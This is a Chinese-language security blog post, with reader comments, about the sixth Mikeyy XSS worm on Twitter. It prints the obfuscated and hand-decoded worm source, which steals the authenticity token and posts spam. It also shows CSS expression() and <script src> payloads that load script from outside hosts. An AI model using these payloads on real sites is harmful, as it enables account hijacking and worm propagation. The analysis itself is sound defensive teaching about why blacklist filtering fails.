阿碼外傳-阿碼科技非官方中文 Blog: 為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

2009年4月19日

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

12 篇回應 :

Unknown 提到...

謝謝這麼詳細的分析。
不知道阿碼有沒有考慮辦短期的資安課程。例如:針對網路攻擊(怎麼去分析問題點在哪兒)、工具使用及如何著手安全問題的分析、需具備哪方面的知識等等。

Wayne Huang 提到...

Hi bofan,謝謝您的留言!我們一直有這樣的課程,但是因為人力有限,之前並沒有公開,大部分都搭配產品一起。之前一些國外客戶採用了產品後看到課程內容,內部有人轉寄,結果幾百人的R&D都要上課。於是客戶希望我們另外推出課程,他們急需,我們只好額外分六天上完幾百人的課程,那時對人力有限的我們,是很大的負擔。

但是最近團隊一直擴大,非常感謝大家的支持,我們也正著手進行將相關課程獨立出來之作業。一完成後會立刻跟大家說,真的很感謝各位一直的支持。

如果是獨立的課程,必須更完整,例如探討到XSS蠕蟲時,最好有架設實際含有XSS的開放源碼平台,然後讓學員可以實際動手先寫蠕蟲,蠕蟲可以work了之後,再實際來修補code,最後再比對自己的修改跟後來該開放源碼團隊的修改,有何不同,是不是真的有改好。如果程式很大,是否考慮採用現有之防XSS/CSRF之framework?開放源碼中又有哪幾套?然後還可以利用mod_security(開放源碼WAF),實做看是否能在不改程式碼之下,達到防護的目的。

這種課程與一般駭客攻防課程很不一樣,因為強調的是如何在有限的資源下,能快速找到漏洞並選擇最低成本法,準確修改之。當然這需要很了解各種漏洞的運用原理,也就是了解駭客的手法,但是那只是前半部。當你面對100個XSS弱點,跟當你面對上千個XSS弱點時,處理方式一定不一樣。在白帽訓練課程中,如何有效運用各種工具或framework,減少工作時數,以及準確分析的方法與思維面向,都是重點。

因為獨立的訓練較搭配產品的訓練,要求更高,所以我們內部正進行相關準備,覺得品質到達水準後,會馬上跟大家說,謝謝您!

匿名 提到...

好文章,感恩

匿名 提到...

好文章,期待更加精彩的分析文章和培训课程,excellent

Alvin 提到...

這一系列是很好的分析,是凸顯Web2.0安全議題的有利證明。

RogerC 提到...

我只是搞不懂這麼大的一家公司連一個簡單的XSS漏洞都沒辦法處理好,那有什麼能力保護使用者資料安全呢?這些受害者,應該可以聯合起來找律師控告twitter,搞不好可以獲得一筆賠償呢?

匿名 提到...

Hi,Wayne,我對你們的研究很impressed,尤其在你們最近對轉址攻擊研究之後.這次在你們之前,我們也做了許多研究,發現大部分外面講的都不對,另外我也很欣賞你們這次與相關單位互動與處理的方式,很沈穩又有經驗,感覺不出是年輕的團隊.覺得你們真的是台灣很難得的團隊,也讓我對台灣的資安界越來越有信心.繼續加油,訓練課程出來時也記得公開,我們這邊也很期待.

Hikaru 提到...

是否請問這種編碼過的XSS如何防範
如果過濾字串都沒辦法,htmlentities這種應該也沒用吧
最近對類似的問題好困擾

匿名 提到...

我覺得那位17歲的少年要學會低調…當個白帽也好

雖然對於這個年紀的人來講真的很難

但我看再這樣下去,這位小朋友真的會把不少麻煩背在身上…

現實的社會不會因為你年紀小就會對你仁慈

匿名 提到...

防範 cross-site-scripting

除了 Javascript 要有一定程度的了解以外

另外一個方式就是讓自己變成 Attacker

學如何植入、變形、設計,只單看案例不做,很難會有進步…

不少知名大站,這類的問題也是不少,有興趣可以找找~ (不負責發言 flee~

Benson Wu 提到...

Hi Hikaru, 在撰寫安全程式的過程一定會學到各種"好用"的過濾函式, 越熟悉每個函式的功用與限制, 就越能在不同情境下選擇最適當的修補方式. 以此 PHP 的 htmlentities 過濾函式為例, 在實務上常有兩個參數被忽略, 一為指定引號類別, 一為指定編碼語系. 我們看到 twitter 在手冊中強調 API 支援 UTF-8 編碼, 可見他們有注意到在過濾 XSS 字元時的語系問題(實務上語系問題比引號問題更容易被忽略). 然而今天即使以 htmlentities 來修復 twitter 此系列的 XSS 問題, 第六代的攻擊仍然有機會, 原因在於 htmlentities 若不指定要過濾哪些引號的話, 預設只過濾雙引號, 卻沒有過濾單引號. 可見在使用任何過濾函式都務必要先弄清楚攻效與限制, 尤其到底能夠過濾哪些字元, 遇到名不符實的函式名稱, 譬如叫作 escapeXSS 的僅過濾少數幾個 HTML 標籤, 或叫作 escapeSQL 的僅過濾單引號, 都再再考驗開發人員的細心, 務必要注意.

匿名 提到...

encode every nonstandard characters...it's the way to mitigate XSS. Since twitter encoded the user input based on a blacklist, it's the why they were failure.

blacklist is a worse solution for security.

張貼留言